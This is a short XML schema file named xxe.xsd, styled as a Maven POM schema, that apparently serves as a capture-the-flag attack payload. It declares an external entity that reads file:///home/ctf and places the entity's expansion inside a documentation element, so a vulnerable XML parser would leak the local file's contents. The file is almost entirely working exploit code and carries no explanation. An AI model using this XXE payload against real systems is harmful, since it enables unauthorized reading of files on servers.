xxe.xsd

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM 'file:///home/ctf'>
]>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified" xmlns="http://maven.apache.org/POM/4.0.0" targetNamespace="http://maven.apache.org/POM/4.0.0">
  <xs:element name="project" type="Model">
    <xs:annotation>
      <xs:documentation source="version">3.0.0+</xs:documentation>
      <xs:documentation source="description">
        Peko
      </xs:documentation>
    </xs:annotation>
  </xs:element>
  <xs:complexType name="Model">
    <xs:annotation>
      <xs:documentation source="version">3.0.0+</xs:documentation>
      <xs:documentation source="description">
        Miko
      </xs:documentation>
    </xs:annotation>
    <xs:all>
      <xs:element minOccurs="0" name="modelVersion" type="xs:string">
        <xs:annotation>
          <xs:documentation source="version">4.0.0+</xs:documentation>
          <xs:documentation source="description">Result: &xxe;</xs:documentation>
        </xs:annotation>
      </xs:element>
    </xs:all>
  </xs:complexType>
</xs:schema>